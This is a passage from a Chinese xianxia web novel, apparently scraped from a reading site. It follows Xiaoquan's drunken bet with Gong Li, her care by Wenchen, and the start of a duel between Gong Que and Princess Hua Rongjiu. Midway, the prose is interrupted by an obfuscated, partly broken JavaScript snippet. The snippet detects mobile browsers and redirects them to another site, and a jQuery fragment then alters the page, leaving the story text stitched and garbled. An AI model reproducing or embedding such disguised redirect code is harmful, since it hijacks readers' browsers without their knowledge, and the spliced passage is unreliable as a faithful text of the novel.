等白衣女子现身,她朝着女子方向抛出蹴鞠,看它不断翻滚碰到女子脚尖,“哎哟”一声,忙不迭去捡。捡归捡,潇泉没忘正事,仰头惊道:“咦?公主殿下?” 花容酒俯视的目光定在少女脸上,不欲搭理,绕路要走。潇泉赶忙跌落在地,大声道:“哎,你怎么还踢人呢!” 行人偶有投来眼神者,花容酒仿佛不见,冷冷扫她,“是你自己坐下去的。再胡搅蛮缠,休怪我不客气。你不要以为你拜得闻尘为师,日后就能在仙门为所欲为。” 潇泉无辜摆手,“殿下误会我了,我从没这样想过。我就是好奇,昆仑距离此地数十里,殿下怎么有空跑我们青泽这儿来了?难不成也是为了祭奠鲤女?” “干你何事?”花容酒肃声瞪她,“别碰我。” 潇泉故作害怕后退,“哎哟,好凶,好怕。” 花容酒淡淡冷笑,蹲下来看她,“我很好奇你到底用了什么法子让那块木头收你为徒,还是说他眼瞎看上你这么一个废物。” 潇泉拍拍胸脯,“废物怎么了?招你惹你了?第一次见面不分青红皂白就打人,你算什么女人?” 她言语直接,的确有点膈应人的意思,但花容酒不仅没有生怒,反而死死掐住她手腕把人从地上拽起,神情深沉得可怕。 潇泉被看得有点后背发凉,“你干什么这么盯我?没见过美人?” “皮囊之美,肤浅。”花容酒恢复神色,甩开潇泉手腕,侧身绕过,不再回头。 白衣女子步伐轻快似在赶路,潇泉没有故意添乱堵路,放人离去。 返回大江楼的路上,她一边抛着蹴鞠一边想着花容酒为何破例来到芙蓉镇,还特意挑在八月十六这天,“以前请来也不来,怎么反倒今日又不请自来?怪了,真是怪了。” 在很多人看来,她与花容酒的脾气互不对付,事实也确实如此,但两人是不打不相识、后来频繁交集的典例。只是,后者出身地位尊贵,自小被众星捧月,性子孤傲倔强,加之生活环境和接受的教育不同,所以诸多行为思想和潇泉有着鲜明对比。 不过,就是这样两个性格脾气完全南北对立的人,在某天深夜坐在屋顶之上喝酒数星星,然后下次见面又恢复你追我赶的原状。 模糊记忆已经走过数年,潇泉甚至记不清是何年何月何日,也没刻意回想,步行回楼。 角落方桌之上,华服少年嗑着花生米,时不时挤眉看向对面的绿裙少女,百无聊赖。 “喝酒吗?”后方传来话音。 宫璃怔然回首,“你会喝酒?” 潇泉在他和小乔之间的位置坐下,目闪狡黠,“不会。” 宫璃兴致缺缺,“那没意思。” 潇泉淡定微笑,“我的意思是,酒量一般。” “一般?”宫璃坐正,“刚好我的酒量也一般。”他露出贝齿,招呼小二去抱几坛招牌酒,手指轻敲桌面,双眼璀璨明亮,“不过我应该比姐姐能喝一点。这样,我让姐姐一坛,谁先喝倒,谁就……姐姐想要什么惩罚?” 潇泉悠闲自得地晃着双腿,“我想罚什么你都答应?” 宫璃微顿,“只要不是太过分。” 原本潇泉没什么想法,但少年主动问惩,不觉勾起她兴趣。她倾身向前,“你输穿女装,我输穿男装,怎样?” 宫璃迟疑一下,“可以。” 待小二摆满一桌招牌酒,他撬开两坛豪迈而饮,饮完又撬开一坛请潇泉。潇泉面不改色抱坛堵嘴,当酒水滑过舌面流进肠胃,轻蹙眉头,但很快神情如常。 宫璃一直盯着,“喂,你到底行不行啊?不行就算了,我不想欺负女孩子。” 潇泉不屑轻哼,抱着酒坛猛喝几口,停下说道:“你看不起谁?” 宫璃哼道:“谁看不起你了?我是怕你喝醉拿我们两个耍酒疯。” 潇泉没有理会,猛地灌完第一坛,坐在位置上拍拍胸脯,“到你了!” 宫璃偷摸观望她两眼,没见脸红,这才抱起第三坛慢饮。其实他酒量不算很好,但也没有差到两坛就倒的地步,何况大江楼招牌酒的酒度一般,男女皆能喝上一喝,一坛不醉。 周围客人来了又走,两人轮流饮酒几回,桌上终于一声闷响。 宫璃撑桌俯笑,不顾一旁小乔眼神,举手喊人,“来、来几位姐姐……把这位趴桌上的姐姐给我、给我扮作男儿相!不、不能太俊……但也不能太丑,记住没?” 闻声而来的小二哈腰点头,接过少年递来的碎银,听他说道:“料子要好的,不许偷工减料。” 小二苦色,心道您是宫家二少爷,咱们哪敢做有损信誉之事。他叫来几个打杂丫头把事情吩咐清楚,丫头们点头应“是”,把潇泉上抬到三楼寝室床上,叫来一碗醒酒汤给她提提神,又备上瓷盂在旁边静候,一盏茶工夫毕后才动手。 “要缠胸吗?” “不用吧,这姐姐只是酒后打赌,不用这般正经。” “你两个换鞋,我俩换衣服。” 丫头们叽叽喳喳弄完,扶着潇泉坐到镜前为她重新梳头。 “要梳哪样的?不能太俊,又不能太丑……不如简单扎一个发髻?” “我看成……咦,要不要把她脸抹黑一点?还是说粘片胡子?” “啊……粘胡子怪怪的,不用了吧。” 一经捯饬,一位水灵灵的妙龄少年便被推出房间,丫头们把潇泉扶到楼下找到宫璃,“公子,扮好了,您瞧瞧?” 同样喝过醒酒汤的宫璃有所缓神,撑凳站起,走到迷迷糊糊的潇泉面前,打量道:“胡子呢?你们没有胡子?” 丫头们噤声,纷纷摇头。 宫璃歪头,“我是问假胡子,不是问你们有没有胡子。” “有啊有,马上拿来。”机灵小丫头应完,跑去楼上找假胡子。 等她回来,宫璃拿着假胡子在手中满意端详,笑嘻嘻贴在潇泉人中,“哈哈哈妙、妙!” 他急急朝小乔招手,小乔犹豫再三,过来看他想干什么。 宫璃指向潇泉身侧,“你站那儿去,看我的。” 他放慢动作站到潇泉身侧,小心挽起她胳膊搀扶,抬头向小乔递眼神。小乔懵懵懂懂,学着他的模样走到潇泉身边,用手扶她。宫璃目光赞许,结账之后和小乔扶着潇泉出楼了。 八月十六的芙蓉镇的傍晚依旧热闹,街道张灯结彩,一眼望去尽是芙蓉花灯,还有彩艳鲤鱼游灯在道上漫行。尽管宫璃见过此等温馨夜景,但亲眼目睹总归比记忆中震撼,不禁放慢脚步,想叫醒旁人一起观赏,可对方把他衣袖拽得不成样子,他不敢误时,还是先赶回青泽为妙,万一百里大人寻不到人,那就麻烦了。 也不知是心理作用还是直觉,宫璃扶人路过清水江石桥,感觉江面吹来的凉风有点不对劲,余光似乎瞥见什么不该瞥到的东西,甫一仰首,便见前方昏黄灯火之下伫立着一抹紫色身影。 他面色微变,硬着头皮将潇泉带到闻尘面前,“百、百里大人,我……姐姐她……” 这时,小乔站出挡在潇泉面前,直讷讷盯着闻尘。 宫璃愈加色变,偷扯小乔衣角,“你作甚?” 小乔仍然昂首挺胸,忽而身后潇泉搭住她肩,越过她身走向闻尘,指点空气,“……好、好生俊俏的……娘子……” 此言一出,宫璃当场石化在原地,瞪大眼睛看看潇泉又看看闻尘,呼吸都在发抖,“百里大人,姐姐她有点醉……您、您别往心里去……” “什么大人?”潇泉站到闻尘身旁,原想用胳膊搭人肩膀,无奈身高不够,所以只好弯曲胳膊靠在他肩头,“这明明就是一个……一个……”像是忘记人家模样,她摇摇晃晃抬起脑袋打量闻尘,好似看清什么,渐渐安静。 见状,宫璃提着的心放松几分,正想过来把人扶回去,潇泉却一把推开闻尘,“……男人?”她吐着酒气摇摇欲坠,“不好意思……我、看错了……” 自闻尘站在这儿等人开始,周围悄悄凑热闹的过客从未间断,更甚者还有上来问“仙君在此作甚”,得到固定二字回答“等人”之后,打哈哈离去。 原本一人就吸足目光,这下有扮作男装的潇泉热场,场面一时一发不可收拾。有人以为潇泉是街角醉汉故意骚扰仙君,想过来拉走,宫璃手疾眼快把她背到背上跑向另一街道,招手道:“百里大人,回见!” 他已经尽量保持平衡,但潇泉还是颠得有点难受,捂住口鼻闷了一声。宫璃东望望西望望,把人放在街角一株树下,急切问:“喂,你好点没有?” 潇泉撑树站立,摇了摇头。 宫璃叹气,“你怎么喝醉都不脸红的?我还以为你能继续喝……还有啊,不能喝就不要逞强,你看看你刚才差点犯下大错、引起共愤,还好我速度够快……” 潇泉不知他说什么,不是沉默就是摇头,展臂抱树陷入昏睡。 宫璃:“喂喂?你真要在这儿睡啊?” 少年准备苦口婆心唤醒她的理智,有双手忽然自后方伸出,揪住潇泉后衣领轻轻一提。闻尘神色自若将人放到背上,“走。” 几人脚踩长剑一路御至青泽山顶,避开诸人视线,落在吾心殿庭院。闻尘回头盯着小乔,对宫璃道:“你先带她回去。” 他背着少女直奔房间,宫璃没有多问,应声说“好”,拽着小乔赶回净香庭。 吾心殿灯火通明,但气氛不改寂寥无人,分外宁静,闻尘的轻轻脚步在夜中也略显清晰。 还未赶至房间,潇泉突然从背上挣扎下来,闻尘速速转身扶稳,便被对方抓着衣袖吐了几口酒水,双方身形皆是微顿。 闻尘静声不动,潇泉受着他的搀扶慢慢坐在地上,“对不起……不要告诉我师父,不要告诉她……” 不得不说这段时间的修炼还是起到了一点效果,她抓人手腕的力量比之前大,就是不知怎么偏偏站不住脚,一飘就飘到了地上,闻尘被迫拉着蹲下,“什么?” 潇泉眼睛像是被纸糊了一样睁不开,“我说,你不要告诉我师父……” 闻尘安静了下,“你师父何人。” 潇泉蹙眉不解,仍没睁眼,“你居然不知道?你知道我是谁吗?” 闻尘把衣袖往她手里递了一点,“不知。” “你……”潇泉失笑,“算了,本君不与山野村夫计较……” 她就是这样,平时与人讲理,可一旦不讲理,那是相当不可理喻。 “扶本君起来……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239166|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潇泉吐气。 闻尘不言托着她把人从地上扶进房间躺下,继续听她念叨:“我师父是剑道第一人……白清鸣……我是……” 说到这里,潇泉倏地停住,抽一抽鼻,张一张嘴,毫无征兆地哭出声来,原本想说的话全部吞回肚里,不愿再提。 闻尘迅速褪下外衣晾在椅上,寻来一只铜盂放在床沿之下,用法术变出盛满热水的木盆和一方巾帕,端在床前开始给人擦脸擦汗,“如不痛快,那便不说。” 潇泉勾去脖颈缠人的发丝,应声点头,“那你能不能不要告诉我师父?” 闻尘重洗一遍巾帕擦她脖子,“告诉她什么?” “她……不喜我酗酒,你……别说。” “好,我答应你,但有条件。” 潇泉声音含糊:“什么条件?” 闻尘:“不能酗酒。” 潇泉欲哭哀嚎,拍打被褥,“你这人怎么这样……” 闻尘握住她手接着擦,“我如何?” 潇泉不应,只问:“你叫什么名字?” 闻尘把她两只手放回被里,收回巾帕,“我师父知道。” “你师父是谁?” “你。” 潇泉语噎,“你师父是我,所以你……是……”她声音越来越小,小到最后直接无声。 闻尘坐在床边片刻,拉下床帏,把铜盂挪到床底,点燃一香立在床头柜上,收拾好东西退出房间。 翌日的阳光分外温暖,潇泉自然睡醒,偏头看见床外一片朦胧,不由怔住,起身掀开床帏,瞧见床头点着一根已经燃烬的香。 难怪梦里总有一股气味使她感到舒心安神,原来是它。 潇泉努力回忆,脑袋空空如也,根本想不起究竟是谁点的熏香,看着自己一身新衣男装有点心慌,抱头苦想好一阵才记起昨日跟宫璃打赌比酒…… 这么说来,是她输了? 潇泉实在想不起具体情况,索性放过自己,先去浴室把自己从头到脚洗一遍,弄得舒适干爽才奔主殿。 走到殿口,她停顿脚步,负手而入,看着座位上捧书喝茶的人,“那根香是你点的?” 闻尘放书抬首,“嗯。” 潇泉寻椅入座,“昨晚……我是不是喝断片了?” 闻尘:“好点了吗?” 这等委婉又明示的话语是人都能听得出来,潇泉轻咳道:“我忘记今日身体非昔日,以为百酒不醉,所以才……给你添麻烦了。” 闻尘手指触着茶杯杯沿,“客气。” 潇泉又咳一声:“昨日……你去芙蓉镇了没?” 闻尘:“去了。” “我怎么没看见你?”潇泉打心底发问,但见他神情微妙地看着自己,不由愣住,“我醉了?” 闻尘缓缓颔首。 原来如此。潇泉一派镇定,“这阵时日我有点放松过头了,一时没忍住才叫宫璃比酒,你别怪他。” 闻尘没有说话,转而去书柜翻出一本武功古籍给她,“这本功法对修身养性有极致好处,现在你有修习基础,可以尝试。” 他莫名转移话题,潇泉伫立望他,“昨夜我没发酒疯吧?” 她上一次醉酒还是十几岁时,也从没料想多年之后会以另一种形式醉酒。 闻尘顿道:“没有。” “那就好。”潇泉由衷庆幸,不再奇怪今日他为何没穿那件紫衣,抱着古籍回到练室开始钻研修习。 这具身体经过一遍又一遍的锤炼已经走上强健之路,身法剑术可以借助多年累积的经验即兴发挥,除却想用灵力却无法使出时的无力,平常修习没有太多阻难。 短短半年之内能突破多层枷锁实属不易,换做任一普通人,恐难克服困难。现在的潇泉不如普通人,能走到今日地步,全靠不怕死的勇气和毅力。 修习之日本来枯燥乏味,但山下近日热闹非凡,且是关于闻尘。潇泉新奇不已,又不好问他本人,于是登门拜访净香庭,叩响房间门扉,“宫晚晚你在吗?我有事问你。” “在啊,什么事?”房间门扉敞开,宫璃探出鹅蛋一般的脑袋,“你说。” 潇泉左看右望没见着别人,安心问:“你知道最近的传言吗?” 宫璃眨巴眨巴眼,“知道啊,怎么了?” 潇泉思忖,“你说到底谁这么大胆子敢当街调戏百里师父?还敢误认人家男儿身……这太离谱了。” 宫璃干笑两声:“还好还好,能理解能理解……” 潇泉:“听说你也在场?还把那人赶走了?” “啊?”宫璃呆呆吞吐,“……对对,我赶走了。” 潇泉定睛看他,“我怎么感觉你好像有点心虚的样子?难不成……你也觉得这件事情好笑?” 宫璃惊道:“好笑?” 潇泉斟酌改口:“也不能这么说,就是听着有点好玩。” 宫璃哈哈道:“这……倒确实。” 二人在庭院坐着简单叙聊昨日经历,宫璃把潇泉醉酒过程半真半假道出,一点不提他们撞见百里大人的情景,只说几人会面之后便赶回青泽,而那名醉酒的胡子汉也被赶得无踪无影。潇泉听完无所感想,只觉有趣。 歇息半日,潇泉没有偷懒,重新回房钻研古籍,如此修习两月,安宁日子再被打破——昆仑弟子登门拜访吾心殿,说是宴请闻尘参与五年一届的武峰大典。 其实奉命邀约的弟子没抱什么希望,百里仙君鲜少出席,一般看在华烨真人或主宰的邀约之下才有可能列位就席,不然以修炼闭关的理由婉拒,但不管答不答应,昆仑还是会派人来走过场。 昆仑弟子在殿内站如桩,闻尘接过他们的请帖阅览许久,在请帖封面按下手印,“叮”的一声,请帖变成一对光影翅膀飞出殿外,飞向遥远的地方——昆仑。 其中一名弟子面带讶异,随后很快恢复原样,毕恭毕敬朝闻尘和潇泉拱手,和同门一道辞去。临行前,他们朝院中打坐修行的潇泉瞟了一眼,似想细细打量,但碍于闻尘在场,不好意思大做动作,错过了这次照面。 他们离开青泽,御剑飞回昆仑复命,路上碰见朱雀门主,停剑抱拳行礼,“金鹤仙君。” 宫榷颔首回应,注意他们是从东方远道而来,问:“你们刚从青泽山来?” 弟子齐声答道:“是,仙君。” 宫榷:“可见到我弟弟?” 其中一名弟子禀报:“回仙君,我们当时直奔吾心殿,并未撞见宫二公子。他应在青泽客居净香庭。” 宫璃没有多言,又问:“百里又拒绝了?” 弟子:“没有,百里仙君答应了。” 宫榷一怔,“他亲口应的?” 弟子不敢犹豫,“是,我等亲眼所见。” 宫榷像是得知世间罕事般,“是因为他那个徒弟?” 弟子们面面相觑,“百里仙君不曾问过那名少女,是自己接的。” “行,我知道了。”宫榷摆手遣退他们,望着天边云彩沉思,发出一声讥讽又似咬牙的轻笑,“既然这次宫家主持刚好恰逢贵客,本君只好盛情相待了。” 云天共水色,暖风动人心。 潇泉坐在长椅上扇着凉风,“你怎么想起参会了?” 闻尘:“我以为你要去。” 潇泉笑道:“你不问我怎么知道我想不想去?” 闻尘沉默。 潇泉伸懒腰道:“请帖已接,断没有反悔之理,就算他想玩花招也玩不出什么,我堂堂凡人之躯,他不敢当众行拂家族面子之事。宫玉泷英何等人也?她只是性格强势,但不代表不知黑白。儿子孤行糗事,她未必答应。假如宫榷真的对我有疑,他只能存疑,除非抓到我把柄……我好奇怪,他怎么就那么看我不顺眼。” 她收扇起身,“我是真得尽快离开,找一个所有人都不会怀疑的理由……不如,就借这次机会如何?” 闻尘静静伫立檐下,微微颔首。 潇泉躺回椅上望他背影,“如果这次我离开,日后再闯九重楼,你会不会拦我。” 空气登时死寂,闻尘良久开口:“不会。” 潇泉:“不守规矩了?” 闻尘:“无规可守。” 一个想法在潇泉心里油然而生,她下椅走到闻尘身边微笑,“和我私奔吧,我带你走。” 此私奔非彼私奔,最后一句也不知真情假意。她总是这样,让人琢磨不透。 周遭好似一切静止,闻尘目视前方,未有答应。 潇泉没有生气,笑着低头,“开玩笑的,其实我带不走你。青泽宗业之重,还有这么多年轻弟子的生命担在你身上,几乎没有脱身可能。” 闻尘伸手触碰檐外阳光,“众生如云,多一个不多,少一个不少。我之所以活着,不过价值所在。若无价值,随手可唾。” 潇泉笑容微凝,晓得他并非是说没有价值的人可以随手唾弃,而是表达厌倦。她道:“可是人活世间,很多事情本就身不由己。” 闻尘:“嗯,我知道。” 潇泉莞尔,“既然无法改变现实,那就顺其自然吧。” 她抬手遮眉远望,谈起当下,“我有点好奇武峰大典到底会安排什么?每一届都一样吗?” 闻尘顺着她的问题回答:“武峰大典由三大仙门及昆仑轮流主持,除了比武夺魁还有‘与君三会’。” 潇泉聚精会神,“与君三会?说来听听。” 闻尘:“三会由主持出题,可在山水画中布置重点考核,参与以门派为主,时间最多三炷香,最少一炷香,最短便赢。” 潇泉:“山水画?听着有点熟悉,莫不是一种奇特环境?按他们的思维逻辑,幻境应有虚化的妖魔鬼怪,或是极难化解的危机阵法,这样才好增加考验难度,不至于典会无聊。” 闻尘颔首,“此为无界幻境。” 潇泉端详腕上金刚手镯,“你觉得宫家会怎么安排?亦或说,宫榷会想什么整人的法子?” 闻尘:“……尚且不知。” 潇泉:“拭目以待吧。” 35. 武峰大典(壹) 武峰大典置办场地位于昆仑半山腰的五行宫,聚齐金木水火土元素,不止是有名的风水宝地,也是昆仑精心打造的行宫之一。因为地方宝贵,不容践踏,长年落锁闭门,只定期派人清理巡护。 出发那日,潇泉本不想带身份存疑的小乔前去犯险,奈何她一步不肯离开,便与闻尘商议,把她扮作自己的贴身仙侍。 典会当日,来客如织,随处可见朱雀门弟子在维持秩序、引客入席,掌管百事、身负重任的昆仑首席弟子也在帮忙。 见到闻尘和潇泉入场,首席弟子心中惊愕不显于色,过来抱拳,“百里仙君、扶摇姑娘,这边请。” 两人一个颔首一个抱拳回礼,在他的带路下入座行宫大院的“土”方观位。比武台是一个呈有八卦图的圆形斗场,长宽皆半里,规矩至极,也称望峰台。 潇泉默默观察,发现三大仙门各占一个行位。青泽坐土,朱雀坐火,玄武坐水,花容酒坐木,旁边还有大家熟知的阴阳派、纵横派及各路道法修士,其余则是其他不曾见过但略有耳闻的名门正派。 三仙占三行,另外两行不知有何方能镇住。潇泉伸长脖子远望,肩膀忽沉,宫璃收回手掌从后边冒头,“姐姐看什么呢?” 潇泉回笑,“这五方席位对应五行,我想看看金行位是哪方道友。” 宫璃兴奋坐到旁边,“我哥跟我说了,金行位是一个无门无派的道士,听说他非常人之躯,修行遭遇雷劫,脉搏停跳七日。但这七日中,天生异象,风雨交加闪电雷鸣,似有蛟龙困游于闪电之下,后来一声轰鸣巨响,乌云拨开得见月,蛟龙生出长角和四足,说是飞腾成龙,约莫有好几百岁,一条幼龙。” 开会前两日,宫璃被宫榷派人接了回去,可以在他那里收取想要的消息情报。宫榷作为主持一方,对典会规则和贵客来宾定然了如指掌,这位传说成龙的修士身份在他那里不算秘密。 又是龙又是仙,今日阵仗浩大,怕是百试大会还要精彩震撼,应有不少仙君前辈参与,诸位晚辈子弟可以饱览眼福,澎湃一番。 潇泉塞一颗葡萄进嘴,“你哥跟你说这么多是要你夺魁?这怕是难。” 宫璃偷看不远处某人,“没啊,他说我爱怎样怎样。” 潇泉接过闻尘递来的手帕,“那你娘不关心你比武这些?” “我娘没要求我比这个。”宫璃跟着她吃葡萄,腮帮子一嚼一动,“姐姐觉得我应该上台?” 潇泉笑得没心没肺,“可以试试,反正败了没有惩罚,顶多被打个半死。” 宫璃语噎,正要问她头上戴的白色帷帽从何而来,还有没有多余,便被一个声音叫住,“宫晚晚,你给我滚过来。” 宫璃撅嘴冲到宫榷面前,埋怨推他,“都说了出门在外不要叫我小名,你就不能收敛一点?” 宫榷回道:“那你骂我公鸡怎么说?” 少年翻他一个白眼,径自坐回火行位,眼睛不由自主转到潇泉头上。 宫榷脸色有点难看,肃色咳嗽几声,少年仍未回神,他气得一个箭步冲过去,“你要是喜欢青泽那个白痴废物,我打断你的狗腿。” 宫璃不服气,“什么白痴废物?人家可聪明着!比你聪明!” 宫榷冷笑,“当真?” 宫璃垮脸,不想跟他解释,“你少管,我爱喜欢谁就喜欢谁,总不能像你一样变成一只铁面无私人人避而远之的大公□□?” 修仙之人忌谈情说爱,但时间一久,茶馆酒肆总会传出笑话,譬如三大仙家两个寡,一只铁公鸡一块冰清玉,都难讨姑娘欢喜。不过也有人说,这等风月之事按在两位仙君身上实在格格不入,有伤大雅。既是为民除害、镇守天下的昆仑仙君,就该好好修行,摒弃杂情。 对此,宫榷只给两个字:滚蛋。 再多加一句话:统统滚得远远的,看见一次掀一回桌! 宫榷眼神轻蔑,“感情越深越误事,难道你没发现有的人明明一身成就、将成大器,最后却败在了女人裙下?说白了就是感情误事,不然你以为昆仑为什么禁止情爱?因为它害人不浅。” 宫璃双手撑在桌上支着下巴,两只脚尖轻轻摇摆,“你没经历过你怎么知道?” 宫榷瞥他一眼,“不论如何,这是规矩,劝你收回不该有的心思。” 宫璃无奈撇嘴,“我只是想借一下那顶帷帽而已,你这么认真干嘛?” “最好是这样。”宫榷居高临下瞪他,“我没工夫跟你浪费时间,场内还有其他仙君等我招待,我先走了,你别到处乱跑。” 参会人员多有来头,不可莽撞不可得罪,之前兄长嘱咐过一次,宫璃一直记得,清楚武峰大典不同于百试大会那般挠痒痒。知道他要忙,宫璃没再纠缠,独自一人坐下剥果吃。 另一边,潇泉盯着水行位的白衣男子,“化蛟成龙?有意思,你信吗?” 坐在旁边的闻尘:“百年旧事只余传言,真假自在人心,可信可不信。” 潇泉拉高一点帷帽,“我觉得宁可信其有,不可信其无。”她整理裙摆正襟危坐,举起金光灿灿的水杯一饮而尽。 闻尘偏首,烂漫艳阳照着少女微笑的面容,映出点点绒毛,如玉温润,无暇光洁,与记忆中的印象不同,明明不曾见过,却又令人熟悉而亲和,似乎从她少女时期开始,就一直这样。 他收回目光,举杯微抿。 临近开场,望峰台座无虚席,有人五年不见或是许久未见,都在趁这个机会闲聊叙旧。 当日晷走过辰时,宫榷一袭金羽飞袍登台,望着因他出现而变得安静的观位群,郑重讲述这一届典会的规则和比试内容。 男人声音洪亮清朗,有人全神贯注,有人漠不在意,还有人注意到宫榷腰间佩着黑羽宝剑,与邻座友人耳语,看出今日比试他准备大展身手。 土行位上,潇泉百般无聊望着台上男人说话,还没看够,对方先扫来一个凌厉眼神,极是嫌弃。她回神一愣,像发现什么趣事,双手支颌直直看着那边,非要等到男人回头再瞪自己一眼。 可惜不管她怎么盯,宫榷都没理会,但整个过程下来,他的脸色由不耐转为铁青,说到最后甚至加快语速,拂袖下台,头也不回,跟触了霉头一样。 手段得逞,潇泉忍不住拍案笑道:“他是不是避女人如避蛇蝎啊?我只是看他两眼他就不耐烦了。” 闻尘端坐如钟,没有舍去眼神,也没答话。 从台上下来,宫榷奔向火行位,恰逢路过坐在木行位的花容酒,心中更加郁闷,飞也似的回到位置,雷打不动目视前方,看得宫璃一头雾水。 钟鸣三响,比试开始。 第一段武试为巅峰阶,先由五行位的诸位仙君抽签比试,总共两组比试,其中一位可以抽到空签免试。 巅峰阶都是修行好几百年的仙君前辈,还没开比,人群沸腾如水,不停在五行位之间来回看,幻想究竟谁能一战到底,成为巅峰之首。 判官取出五张纸条率先呈在花容酒面前,花容酒在五张纸条中摸来摸去,随便抽出一张查看结果,清雅眉目骤然皱起,面朝火行位那方。 众人跟着公主殿下的视线而望,火行位的金鹤仙君定坐原位养身静气,浑然不知自己已被抽中。 周围窃窃私语之声霍起,宫榷心头一股生气,睁眼一看,发现邻近和远处的同僚们都在看他。他正要说话,弟弟凑近脑袋道:“哥,你中了,是殿下。” 宫榷心头一震,“谁?” 宫璃重述:“抽你的是公主殿下。” 宫榷脸色发黑如炭,还没骂他,那边的白衣女子已经跃至望峰台,背对着他,似乎也是无奈,“来吧,金鹤君。” 宫璃抓起糕点塞进嘴里,不敢说话多余一句,他清楚兄长最不待见女人,更不待见脾性恶劣的女人,别说比试,说话也不乐意。 公主殿下貌似同样不喜宫榷脾气,而且两人曾经因为公务大吵一架,闹得不欢而散,关系一直不好。因着抬头不见低头见,双方再厌恶彼此,还是会在公众场合收敛克制,能不正面交锋就不正面交锋,老死不相往来最好。 厌恶归厌恶,奈何今日比试刚好相对,纵有万般不愿,也得遵守规矩上场。宫榷不再思索,握紧腰间宝剑黑羽紧接着登台,朝对面女子抱拳行礼,“公主殿下。” 这一声平淡的称呼夹杂着不甘不齿不屑,花容酒仿若没有听见,久久没有回应。宫榷耐心保持姿势,等过片晌,头颅再低一点,请道:“公主殿下,可以开始了。” 这一声似是无奈,似有屈服。花容酒转身望他,抽出腰间龙骨鞭,“我有一个条件,你必须答应。” 宫榷很想翻一个白眼,但最终忍住,垂目应道:“殿下请说。” 花容酒理直气壮道:“你我只能以法器互攻,不能肢体触碰。” 在场的聪明人豁然,公主殿下不仅厌恶脾气丑陋的男人,还厌恶与男人触碰,敢情不是区别对待,而是公平对待。 这个条件在别人眼里或许一文不值,但对不想触碰女人的宫榷来说却珍贵如宝,他应得飞快,“金鹤明白。” 两人表面平和的状态藏着涌动暗流,潇泉不由问闻尘,“公主和金鹤关系很差?”她记得之前两人关系好像还没差到这种地步,仅限于互不了解。 闻尘没点头也没摇头,只道:“发生过嫌隙。” 潇泉点头会意,没问多余,似觉情理之中。 待比钟敲响,宫榷毫不犹豫抽出黑羽宝剑飞步过去与花容酒的龙骨剑相抵而撞,迸出两道席卷整个天地的冲击力,声势浩大,台下众人甚至来不及反应,耳边骤起呼啸之音,呼呼呜呜,夸张到看不清台上两人具体动作,似乎被法风冲糊了。 女子进攻力量只强不弱,宫榷加大臂力压制那柄通体白如光骨的灵剑,暗暗咬牙道:“公主殿下这么卖力,怕不是想借此机会公报私仇吧?” 花容酒弹退黑羽,得隙又蓄一剑,直击宫榷面门,一语不发。宫榷侧身而挡,感受她的腾腾杀气,手中力量隐隐涌动,“既然殿下这么执着,本君奉陪到底。” 花容酒勾唇冷笑,“你凭什么以为自己能胜过我?不就是想速战速决?可以,跪下求我。” 宫榷眯眼,“你说什么?” 花容酒一字一句,“我说,跪下求我。” 宫榷语气森然,装也懒得装了,“一个不是对别人指手画脚就是在别人面前耍威风的无脑女人,我真想不到有什么资格让我下跪求饶。” 他此生只跪过一个女人,那便是宫家主母。宫玉泷英尚不会无缘无故叫他下跪,除重罪以外。面前女子不说实力如何,不比他差但也不比他好,只因血缘关系、背靠主宰便随意践踏别人的尊严,实在令人厌恶,幼稚至极。 “找死!”花容酒右掌凝聚法力往前狠狠一拍,地面顿时掀起阵阵排山倒海的雪白浪气朝宫榷滚去。 宫榷迅速后退半步,同样抬掌拍出法力,一道火红雀状的法术与雪白浪气撞得七零八碎,爆开一层又一层仙气。 在座诸位目瞪口呆,即便隔着保护屏障,案桌酒茶也控制不住摇晃,水面粼粼泛动,有人惊叹:“不愧是巅峰阶的比试,连五行宫的玉屏都不能完全隔开法力。” 台上四处迸发法力,一男一女打得火光四溅,难分胜负,刚见近处爆出仙气,远处就立刻闪现一红一白两道剑影,飞快有力。 已经一炷香过去,宫榷实在不想把时间浪费在这个女人身上,张口道:“花容酒,你到底什么意思?能不能不要把私人恩怨搬到台面上来?你觉得很好看是吗?” “什么私人恩怨,本殿只是单纯看你不爽。”花容酒刚猛力发动一击,转而踹去一脚。 这一脚来势汹汹,宫榷将剑横在身前及时挡住,但没想到她腿部的力量很是霸道,防备之下还是被震退半步。他黑着脸恨道:“我最讨厌你们女人口是心非,说话云里雾里,非要别人猜透为止。如果仙魔大战你也敢这样禀报战况,我笃定,第一个死的就是你,害人又害己。” 花容酒依旧快速出剑,“丑八怪你装什么无辜?” 宫榷对骂词不为所动,“那你说,我到底哪里得罪你了。” 似也不想继续缠斗下去,花容酒招招出手果断迅速,生怕没有削掉对方脑袋。在铮铮剑鸣中,她的声音决然刚硬,“重要决策不和我商议,当众贬低我的存在和身份,难道不是你刻意为之?你越俎代庖,让那些没脑子的人以为我不管事,好让我成为只有公主名头的空壳,不是失去实权就是背负窝囊骂名,你当我不知你深沉心机?” 她把所有心血倾尽在修行上,咬牙突破十一境也是为了能够担得公主名头,日后有机会接替父亲的位置。眼前这人明明出身不如自己,却打心底瞧不起她,算什么意思? 宫榷旋身侧步绕到后方准备重新开刀,“我没听懂你所言何意,有没有一种可能,我只是懒得跟女人说话?因为跟你们说话很麻烦。” 合理猜测无端被否认,说不上是什么滋味。花容酒怒拧眉头,只觉脸皮像被打了一巴掌般生疼,双手握紧剑柄,“可怜你也是女人养的,竟然说出这种话来。不过理解,毕竟打小不受宠,心中怨恨自然散发到无辜者身上。” 话像是心事被窥穿,宫榷面无表情将法力汇于剑上,无形之中好似掀起一股杀气,“花容酒,你别以为自己是昆仑公主,我就不敢动真格。” 他将黑羽一转,剑刃顿时分崩离析,变成一片片锋利的银光碎片,挥动哪方,哪方的银光碎片便灵活如蛇地飞刺而去,不过眨眼工夫,花容酒周身就堵满了一堆锋利碎片。 宫榷再一挥手,每块碎片之间出现一丝银线相接,宛若蛛丝缠命,往中间被困的花容酒围剿而去。 